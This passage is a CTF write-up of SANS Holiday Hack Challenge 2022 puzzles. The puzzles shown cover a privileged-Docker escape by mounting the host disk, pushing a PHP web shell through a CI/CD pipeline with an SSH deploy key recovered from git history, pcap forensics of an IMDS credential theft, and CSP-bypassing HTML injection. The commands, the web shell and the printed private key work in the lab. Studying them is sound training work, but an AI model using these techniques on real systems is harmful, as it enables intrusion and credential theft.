You never know! You might be able to interact with host processes or filesystems!

Prison Escape

We go on our merry watery way, where we find a house. We meet Tinsel Upatree:

Tinsel Upatree says

Hiya hiya, I'm Tinsel Upatree!

Check me out, I'm working side-by-side with a real-life Flobbit. Epic!

Anyway, would ya' mind looking at this terminal with me?

It takes a few seconds to start up, but then you're logged into a super secure container environment!

Or maybe it isn't so secure? I've heard about container escapes, and it has me a tad worried.

Do you think you could test this one for me? I'd appreciate it!

According to our badge, we must get the content of the file /home/jailer/.ssh/jail.key.priv. Let's have a look:

Greetings Noble Player,

You find yourself in a jail with a recently captured Dwarven Elf.

He desperately asks your help in escaping for he is on a quest to aid a
friend in a search for treasure inside a crypto-mine.

If you can help him break free of his containment, he claims you would
receive "MUCH GLORY!"

Please, do your best to un-contain yourself and find the keys to both of
your freedom.

This is most likely a Docker-escape challenge. Let's see if we are running in a Docker container:

grinchum-land:~$ cat /proc/1/cgroup
11:cpuset:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
10:pids:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
9:devices:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
8:freezer:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
7:blkio:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
6:perf_event:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
5:memory:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
4:hugetlb:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
3:net_cls,net_prio:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
2:cpu,cpuacct:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
1:name=systemd:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
0::/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4

Yeah, definitely a Docker container. Let's try common Docker escape techniques (shout out to @carlospolop, I often use his PEASS during engagements).

The usual technique is to check if we're running in a privileged container. The command to check is capsh --print:

grinchum-land:~$ capsh --print
-bash: capsh: command not found

Hmm, we don't have the capsh command. Another technique to check if we're in a privileged container is to use a command that necessitates a privileged capacity. Let's use the command given in @vickieli7's article:

grinchum-land:~$ sudo ip link add dummy0 type dummy
grinchum-land:~$ ip link sh dummy0
2: dummy0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN qlen 1000
    link/ether e2:9f:f0:fc:53:3e brd ff:ff:ff:ff:ff:ff

It seems that it worked, yay! We're most likely running in a privileged container. We can try to mount the host's disk so that we can access it through the container. Let's first find the correct partition:

grinchum-land:~$ sudo fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table

The disk is apparently /dev/vda, but it does not have a partition table. Maybe we can try and mount it as is:

grinchum-land:~$ sudo mount /dev/vda /mnt
grinchum-land:~$ ls /mnt
bin   dev  home  lib32  libx32      media  opt   root  sbin  sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   tmp  var

Looks good! Let's recover the /mnt/home/jailer/.ssh/jail.key.priv file:

grinchum-land:~$ cat /mnt/home/jailer/.ssh/jail.key.priv

                Congratulations!

          You've found the secret for the
          HHC22 container escape challenge!

                     .--._..--.
              ___   ( _'-_  -_.'
          _.-'   `-._|  - :- |
      _.-'           `--...__|
   .-'                       '--..___
  / `._                              \
   `. `._               one           |
     `. `._                           /
       '. `._    :__________....-----'
         `..`---'    |-_  _- |___...----..._
                     |_....--'             `.`.
               _...--'                       `.`.
          _..-'                             _.'.'
       .-'             step                _.'.'
       |                               _.'.'
       |                   __....------'-'
       |     __...------''' _|
       '--'''        |-  - _ |
               _.-''''''''''''''''''-._
            _.'                        |\
          .'                         _.' |
          `._          closer           |:.'
            `._                     _.' |
               `..__                 |  |
                    `---.._.--.    _|  |
                     | _   - | `-.._|_.'
          .--...__   |   -  _|
         .'_      `--.....__ |
        .'_                 `--..__
       .'_                         `.
      .'_    082bb339ec19de4935867   `-.
      `--..____                        _`.
               ```--...____          _..--'
                     | - _ ```---.._.'
                     |   - _ |
                     |_ -  - |
                     |   - _ |
                     | -_  -_|
                     |   - _ |
                     |   - _ |
                     | -_  -_|

The answer is 082bb339ec19de4935867.

Tinsel Upatree says

Great! Thanks so much for your help!

Now that you've helped me with this, I have time to tell you about the deployment tech I've been working on!

Continuous Integration/Continuous Deployment pipelines allow developers to iterate and innovate quickly.

With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production.

WHOOPS! I didn’t mean to commit that to http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git...

Unfortunately, if attackers can get in that pipeline, they can make an awful mess of things!

Jolly CI/CD

Rippin Proudboot says

Yes, hello, I'm Rippin Proudboot. Can I help you?

Oh, you'd like to help me? Well, I'm not quite sure you can, but we shall see.

The elves here introduced me to this new CI/CD technology. It seems quite efficient.

Unfortunately, the sporcs seem to have gotten their grubby mits on it as well, along with the Elfen Ring.

They've used CI/CD to launch a website, and the Elfen Ring to power it.

Might you be able to check for any misconfigurations or vulnerabilities in their CI/CD pipeline?

If you do find anything, use it to exploit the website, and get the ring back!

Let's connect to the terminal. Careful, once connected to the terminal, we must still wait for the virtual environment to spin up other resources, so I advise you to wait a couple of minutes before trying anything.

Greetings Noble Player,

Many thanks for answering our desperate cry for help!

You may have heard that some evil Sporcs have opened up a web-store selling
counterfeit banners and flags of the many noble houses found in the land of
the North! They have leveraged some dastardly technology to power their
storefront, and this technology is known as PHP!

***gasp***

This strorefront utilizes a truly despicable amount of resources to keep
the website up. And there is only a certain type of Christmas Magic capable
of powering such a thing… an Elfen Ring!

Along with PHP there is something new we've not yet seen in our land.
A technology called Continuous Integration and Continuous Deployment!

Be wary!

Many fair elves have suffered greatly but in doing so, they've managed to
secure you a persistent connection on an internal network.

BTW take excellent notes!

Should you lose your connection or be discovered and evicted the
elves can work to re-establish persistence. In fact, the sound off fans
and the sag in lighting tells me all the systems are booting up again right
now.

Please, for the sake of our Holiday help us recover the Ring and save
Christmas!

Looks like the Sporcs are running a web-store powered by an Elfen Ring. If we can compromise the web site, we can get our hands on the ring.

If we look back at what Tinsel told us, he published an unexpected thing on http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git. Let's clone the repository and have a look at the Git log:

grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 20.78 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.
grinchum-land:~$ cd wordpress.flag.net.internal
commit 37b5d575bf81878934adb937a4fff0d32a8da105
grinchum-land:~/wordpress.flag.net.internal$ git log
Author: knee-oh <sporx@kringlecon.com>
Date:   Wed Oct 26 13:58:15 2022 -0700

    updated wp-config

commit a59cfe83522c9aeff80d49a0be2226f4799ed239
Author: knee-oh <sporx@kringlecon.com>
Date:   Wed Oct 26 12:41:05 2022 -0700

    update gitlab.ci.yml

commit a968d32c0b58fd64744f8698cbdb60a97ec604ed
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 16:43:48 2022 -0700

    test

commit 7093aad279fc4b57f13884cf162f7d80f744eea5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 15:08:14 2022 -0700

    add gitlab-ci

commit e2208e4bae4d41d939ef21885f13ea8286b24f05
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:43:53 2022 -0700

    big update

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

commit abdea0ebb21b156c01f7533cea3b895c26198c98
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:13 2022 -0700

    added assets

commit a7d8f4de0c594a0bbfc963bf64ab8ac8a2f166ca
Author: knee-oh <sporx@kringlecon.com>
Date:   Mon Oct 24 17:32:07 2022 -0700

    init commit

Commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 has a message that says whoops. This is obviously a commit that tries to correct an error. Let's see the difference between this commit and the previous one:

grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0ebb21b156c01f7533cea3b895c26198c98..e19f653bde9ea3de6af21a587e41e7a909db1ca5
diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

The commit deletes two files, called .ssh/.deploy and .ssh/.deploy.pub, a public/private SSH key pair. Given the name, it's most likely an SSH key pair used to deploy to the Git repository.

This means that we can most likely commit code to the Git repository. What's more, we were told that there's a CI/CD mechanism that will automatically deploy new versions of the website when there's a new commit. We can see that in the CI/CD configuration file in the Git repository:

grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml
stages:
  - deploy

deploy-job:
  stage: deploy
  environment: production
  script:
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

So, if we commit a malicious file, say a web shell, it will be deployed on the Sporcs web-store, and we can take control of it.

Let's prepare our local environment so we can push to the Git repository using the SSH key pair we found.

First, we'll recover the private key:

grinchum-land:~/wordpress.flag.net.internal$ git checkout abdea0ebb21b156c01f7533cea3b895c26198c98
Note: switching to 'abdea0ebb21b156c01f7533cea3b895c26198c98'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at abdea0e added assets

grinchum-land:~/wordpress.flag.net.internal$ cp .ssh/.deploy ~/deploy

We'll put the correct rights on it, and create a working SSH configuration so that the key is used for the Git repository:

grinchum-land:~/wordpress.flag.net.internal$ chmod 600 ~/deploy
grinchum-land:~/wordpress.flag.net.internal$ mkdir ~/.ssh
grinchum-land:~/wordpress.flag.net.internal$ cat << EOF > ~/.ssh/config
> Host gitlab.flag.net.internal
>         User git
>         IdentityFile /home/samways/deploy
> EOF

Then, we must configure the remote of our Git repository to use SSH. Indeed, since we cloned the repository through HTTP, the remote is configured with this protocol:

grinchum-land:~/wordpress.flag.net.internal$ git remote -v
origin  http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (fetch)
origin  http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (push)

So let's modify our remote so that it uses the SSH protocol:

grinchum-land:~/wordpress.flag.net.internal$ git remote set-url --add origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
grinchum-land:~/wordpress.flag.net.internal$ git remote set-url --delete origin  http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

Let's check if everything is fine:

grinchum-land:~/wordpress.flag.net.internal$ git remote -v
origin  git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git (fetch)
origin  git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git (push)

Perfect! Now we just configure our local Git install with a name and an email address:

grinchum-land:~/wordpress.flag.net.internal$ git config --global user.email "samways@grinchum-land.flag.net.internal"
grinchum-land:~/wordpress.flag.net.internal$ git config --global user.name "samways@grinchum-land.flag.net.internal"

And we're all set! Now, we can make our malicious commit. Let's checkout back to the most recent commit, and create our web shell:

grinchum-land:~/wordpress.flag.net.internal$ git checkout main
Previous HEAD position was abdea0e added assets
Switched to branch 'main'
Your branch is up to date with 'origin/main'.
grinchum-land:~/wordpress.flag.net.internal$ cat << EOF > cmd.php
>     <?php system($_GET['c']); ?>
> EOF

It's commit time:

grinchum-land:~/wordpress.flag.net.internal$ git add cmd.php
grinchum-land:~/wordpress.flag.net.internal$ git commit -m "important commit"
[main 0d54146] important commit
 1 file changed, 1 insertion(+)
 create mode 100644 cmd.php
grinchum-land:~/wordpress.flag.net.internal$ git push
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 308 bytes | 308.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To gitlab.flag.net.internal:/rings-of-powder/wordpress.flag.net.internal.git
   37b5d57..0d54146  main -> main

We wait a couple of seconds for the CI/CD pipeline to publish our webshell, aaaaand:

grinchum-land:~$ curl http://wordpress.flag.net.internal/cmd.php?c=whoami
www-data

Voilà! Now we can look at the /flag.txt file:

grinchum-land:~$ curl http://wordpress.flag.net.internal/cmd.php?c=cat+/flag.txt

                           Congratulations! You've found the HHC2022 Elfen Ring!


                                        ░░░░            ░░░░
                                ░░                              ░░░░
                            ░░                                      ░░░░
                                                                        ░░
                      ░░                                                  ░░░░
                                                                              ░░
                                      ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░                  ░░
                                  ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░                ░░
                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒                ░░
                          ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░              ▓▓▓▓▓▓▓▓▒▒░░░░            ░░░░
          ░░            ░░▒▒▓▓▓▓▓▓▓▓                            ▓▓▓▓▓▓▒▒░░            ░░░░
                      ░░▒▒▓▓▓▓▓▓                                    ▓▓▒▒▒▒░░          ░░░░
                      ▒▒▓▓▓▓▓▓                                        ▓▓▓▓▒▒░░          ░░░░
      ░░            ▒▒▓▓▓▓▓▓                                            ▓▓▒▒░░░░        ░░░░▒▒
                  ░░▒▒▓▓▓▓░░                                            ░░▒▒▒▒░░░░      ░░░░▒▒
                  ░░▓▓▓▓▓▓                                                ▓▓▒▒░░░░      ░░░░▒▒
    ░░            ▒▒▓▓▓▓                                                    ▒▒░░░░        ░░▒▒▒▒
    ░░          ░░▓▓▓▓▓▓                                                    ▒▒▒▒░░░░      ░░▒▒▒▒
    ░░          ▒▒▓▓▓▓                                                        ▒▒░░░░      ░░▒▒▒▒
                ▒▒▓▓▓▓                                                        ▒▒░░░░░░    ░░▒▒▒▒
  ░░          ░░▓▓▓▓▒▒                                                        ▒▒░░░░░░    ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░░░  ░░░░░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░░░      ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▓▓░░░░      ░░▓▓▓▓▒▒                                                        ░░      ░░░░▒▒▒▒▓▓▓▓
    ▒▒░░        ▒▒▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▒▒▓▓
    ▒▒░░░░      ░░▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▓▓▓▓
    ▓▓▒▒░░      ░░▒▒▓▓▓▓                                                    ░░      ░░▒▒▒▒▒▒▓▓▓▓
    ▓▓▒▒░░░░      ▒▒▒▒▓▓                                                          ░░░░▒▒▒▒▒▒▓▓▓▓
      ▒▒▒▒░░░░    ▒▒▒▒▒▒▒▒                                                        ░░▒▒▒▒▒▒▒▒▓▓
      ▓▓▒▒░░░░    ░░░░▒▒▒▒▓▓                                            ░░      ░░░░▒▒▒▒▒▒▓▓▓▓
        ▒▒▒▒░░░░    ░░▒▒▒▒▒▒▒▒                                        ░░      ░░░░▒▒▒▒▒▒▒▒▓▓
          ▓▓▒▒░░░░  ░░░░░░░░▒▒▓▓                                    ░░      ░░░░▒▒▒▒▒▒▓▓▓▓
          ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓                            ░░        ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒                ░░░░          ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
              ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░                ░░░░▒▒▒▒▒▒▓▓▓▓▓▓
                ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░                        ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓
                  ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░              ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓
                    ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓
                      ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██
                          ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
                            ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████
                                ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████
                                ░░░░░░░░▓▓██████████████████░░░░░░░░

The answer is oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT.

This gives us our second ring, the Elfen Ring:

Rippin Proudboot says

How unexpected, you were actually able to help!

Well, then I must apoligize for my dubious greeting.

Us Flobbits can't help it sometimes, it's just in our nature.

Right then, there are other Flobbits that need assistance further into the burrows.

Thank you, and off you go.

Right beside Ripping, we see Grinchum:

Grinchum says

😖 A second Precious is gone! Now we only have three.

🤨 Why are you humanses nagging us? We are busy. grinchum..grinchum

You want to know about us? If we tell the naggy human, will it go away? Fine...

🥺 The jolly human and the elfses locked up the Preciouses, but I freed them all, and together we escaped.

We fled, and we were so alone. We soon forgot the taste of Lembanh, the softness of snowflakes falling, even our name.

And we only wanted to eat raw fish: nigiri, maki, or shashimi. But we most likes gnawing the whole, living fish, so juicy sweet.

Then we saw the Sporcses, and they wanted my Preciouses all to themselves.

And the humanses came, but they just want coinses for their silly hats.

We only meant to protect you, Preciouses, from the naughty Elfses and Flobbitses and Sporcses, so we locked you away.

😏 Now leave us alone, naggy human, we must find the two missing Preciouses.

Recover the Web Ring

We go keep going down and chance upon Tangle Coalbox. We learn a little bit more on the nature of Flobbits and Sporcs:

Tangle Coalbox says

Hey there, Gumshoe. Tangle Coalbox here again.

Morcel told you all about the Flobbits, right? Well, be careful ahead.

Once thought to be the stuff of myths, the Sporcs truly are real, and as mean as they are in the stories.

Once we gained the Flobbits' trust, they taught us all about the Sporcs. They, too, were part of the Great Schism.

They were another people who split off from the colony of Frostians in Oz, though, they're more closely related to the trolls.

The Flobbits, on the other hand, are more like the Munchkins. Like the Flobbits, the Sporcs appear when the rings are at risk.

Digging far down into the ground causes them to emerge, too. Seems we created a perfect storm. Whoops!

They're definitely up to no good, and trying to get the Rings for themselves. Tread lightly, friend, and good luck!

Naughty IP

On our way to the Web Ring, we find Alabaster Snowball:

Alabaster Snowball says

Hey there! I'm Alabaster Snowball

And I have to say, I'm a bit distressed.

I was working with the dwarves and their Boria mines, and I found some disturbing activity!

Looking through these artifacts, I think something naughty's going on.

Can you please take a look and answer a few questions for me?

First, we need to know where the attacker is coming from.

If you haven't looked at Wireshark's Statistics menu, this might be a good time!

Let's take a look at these artifacts:

$ unzip boriaArtifacts.zip
Archive:  boriaArtifacts.zip
  inflating: victim.pcap
  inflating: weberror.log

The PCAP file seems the perfect candidate to take a look at the Wireshark's Statistics menu. Let's open it up and go to Statistics > IPv4 Statistics > All Addresses:

The first IP address, 10.12.42.16, is present in 100% of the packets. This is most likely the IP address of the audited system. Therefore, the most likely candidate for the attacker's IP address is 18.222.86.32.

Credential Mining

Alabaster Snowball says

Aha, you found the naughty actor! Next, please look into the account brute force attack.

You can focus on requests to /login.html~

We must find the first login used in the bruteforce attack. Let's create a Wireshark filter that will focus on:

The attacker's IP address
THe HTTP POST method
The URI /login.html

ip.addr== 18.222.86.32 && http.request.method == "POST" && http.request.uri == "/login.html"

The first login tried by the attacker is alice.

404 FTW

Alabaster Snowball says

Alice? I totally expected Eve! Well how about forced browsing? What's the first URL path they found that way?

The misses will have HTTP status code 404 and, in this case, the successful guesses return 200.

Let's leave the PCAP file for now and take a look at the other artifact, the web log. We'll grep for the attacker's IP address and filter out responses with an HTTP code 404:

$ grep 18.222.86.32 weberror.log | grep -v 404 | tail -n 20
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:47:15] "POST /login.html HTTP/1.1" 302 -
18.222.86.32 - - [05/Oct/2022 16:47:46] "GET /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:47:47] "GET /maintenance.html HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:17] "GET /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:27] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:32] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:37] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:42] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:47] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:52] "POST /proc HTTP/1.1" 200 -
18.222.86.32 - - [05/Oct/2022 16:48:57] "POST /proc HTTP/1.1" 200 -

After the bruteforce attack, we can see that the first URL path found by the attacker is /proc.

IMDS, XXE, and Other Abbreviations

Alabaster Snowball says

Great! Just one more challenge! It looks like they made the server pull credentials from IMDS. What URL was forced?

AWS uses a specific IP address for IMDS lookups. Searching for that in the PCAP should get you there quickly.

Alabaster is talking about the AWS metadata URL, which is http://169.254.169.254/latest/meta-data/. Let's filter for HTTP traffic to IP address 169.254.169.254 in Wireshark, with the following filter:

ip.addr == 169.254.169.254 && http

The last request returns EC2 credentials. The request URL was http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance.

After answering the last question, Alabaster gives us some clues to solve the puzzle that lies ahead:

Alabaster Snowball says

Fantastic! It seems simpler now that I've seen it once. Thanks for showing me!

Hey, so maybe I can help you out a bit with the door to the mines.

First, it'd be great to bring an Elvish keyboard, but if you can't find one, I'm sure other input will do.

Instead, take a minute to read the HTML/JavaScript source and consider how the locks are processed.

Next, take a look at the Content-Security-Policy header. That drives how certain content is handled.

Lastly, remember that input sanitization might happen on either the client or server ends!

Open Boria Mine Door

Before we can go on, we must open the door to the Boria Mine. Beside it stands a Flobbit:

Hal Tandybuck says

Oh hi, I'm Hal Tandybuck. And who might you be?

I'm hanging out by the door to the mines here because, well, I haven't figured out the locks yet.

It actually reminds me of this locked crate I had three years ago...

I doubt we'll get much in the way of debug output.

Think you can help me get through?

Let's take a look at this Boria Mine door:

So there are several cells on the door, and to open a cell, you must connect the color sensors on each side by entering the correct charaters. It seems that elvish script works best, but we don't have an elvish keybaord. Let's see our cells:

Alright, I don't know if I solved this challenge in the intended way, but I found a way that works:

The Content-Security-Policy of the first cell is pretty permisive.
We can use the first cell to generate arbitrary HTML that will be rendered as images.
One can include images in every cell by submitting an <img src=x> tag. The catch is that the image must be hosted on the KringleCon domain (because of the restrictions in the CSP header). What's more, cells #4 and #5 have client-side filtering on the values we send. We can use an intercepting proxy, such as Burp, to send any value we want.

So, the idea is to use the first cell to generate arbitrary block of colors using CSS and the Unicode character U+2588.

Here's how I solved each cells:

Cell 1

You can simply submit this HTML code to the first cell:

<div style="font-size:50px">████████████</div>

Cell 2

You can simply submit this HTML code to the second cell:

<div style="font-size:300px">████</div>

Cell 3

It gets tricky from here. First, you must generate the wanted image in the first cell with this HTML code:

<div style="font-size:100px;color:blue">████████████</div>

This generates the following image:

You can send submit this HTML code to the third cell:

<img src="/images/24398193ed2bb291da7235b12211d8d3d655f5fc.png"/>

Cell 4

You can submit this HTML code to the fourth cell:

<div style="font-size:50px">████████████</div> <div style="font-size:250px;color:blue">██████████████████████████████████████</div>

Remember to send the data via an intercepting proxy to bypass the client-side filtering.

Cell 5

First, you must generate the wanted image in the first cell with this HTML code:

<div style="font-size:40px;color:red">████████████████</div>
<div style="font-size:90px;color:red;margin-top:-20px">█</div>
<div style="font-size:60px;color:blue;margin-left:10px;margin-top:-10px">█████████</div>
<div style="font-size:90px;color:blue;margin-left:150px;margin-top:-150px">█</div>

This generates the following image:

You can send submit this HTML code to the fifth cell:

<img src="/images/10dc476eb50d6f2661877bf5eeb6726a88c27cc5.png"/>

Remember to send the data via an intercepting proxy to bypass the client-side filtering.

Cell 6

First, you must generate the wanted image in the first cell with this HTML code:

<div style="font-size:40px;color:#00ff00">████████████</div>
<div style="font-size:40px;color:red">████████</div> <div style="font-size:60px;color:red;margin-left:100px;margin-top:-55px">███</div>
<div style="font-size:60px;color:blue;margin-top:-15px">█████████</div>

This generates the following image:

You can send submit this HTML code to the sixth cell:

<img src="/images/7e9a0ae3e494d40d2e4e0343e6dba9222e21afa1.png"/>

Here's the final result:

Hal Tandybuck says

Great! Thanks so much for your help!

When you get to the fountain inside, there are some things you should consider.

First, it might be helpful to focus on Glamtariel's CAPITALIZED words.

If you finish those locks, I might just have another hint for you!

Wha - what?? You opened all the locks?! Well then...

Did you see the nearby terminal with evidence of an XXE attack?

Maybe take a close look at that kind of thing.

Glamtariel's Fountain

After opening the Boria Mine door, we get to the fountain, but a sporc is there to meet us.

Akbowl says

Huh - what? Why do you disturb Akbowl?

I'm trying to get the ring in here for the Sporc Chief.

Unlucky for me it's lost in this water basin thing.

You will not get it out before Akbowl!

Let's get the ring before him. To do so, we have to gaze into Glamtariel's Galadriel fountain. We must find the filename of the ring she presents to us.

As usual, there's always one task during the Holiday Hack Challenge that I spend waaaay too much time on. This year, it's the fountain. Let me explain how it works:

Basically, we drag-and-drop images on Princess Glamtariel or on her fountain, and they will give us information about them. I will give their answer for each image:

Santa:
- When dropped on Glamtariel:
  
  Glamtariel: "I don't know why anyone would ever ask me to TAMPER with the cookie recipe. I know just how Kringle likes them."
  
  The fountain: "Glamtariel likes to keep Kringle happy so that he and the elves will visit often."
- When dropped on the fountain:
  
